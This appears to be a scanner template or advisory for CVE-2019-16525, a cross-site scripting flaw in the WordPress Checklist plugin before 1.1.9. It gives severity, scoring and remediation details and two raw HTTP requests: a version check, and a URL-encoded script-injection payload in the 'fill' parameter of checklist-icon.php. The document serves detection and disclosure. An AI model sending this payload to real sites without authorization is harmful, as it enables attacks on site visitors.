| Title | WordPress Checklist <1.1.9 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows attackers to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress Checklist plugin (1.1.9 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07197 |
| CVE ID | CVE-2019-16525 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 xss wp-plugin packetstorm wordpress checklist vuln |
WordPress Checklist plugin before 1.1.9 contains a cross-site scripting vulnerability. The fill parameter is not correctly filtered in the checklist-icon.php file.
GET /wp-content/plugins/checklist/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/checklist/images/checklist-icon.php?fill=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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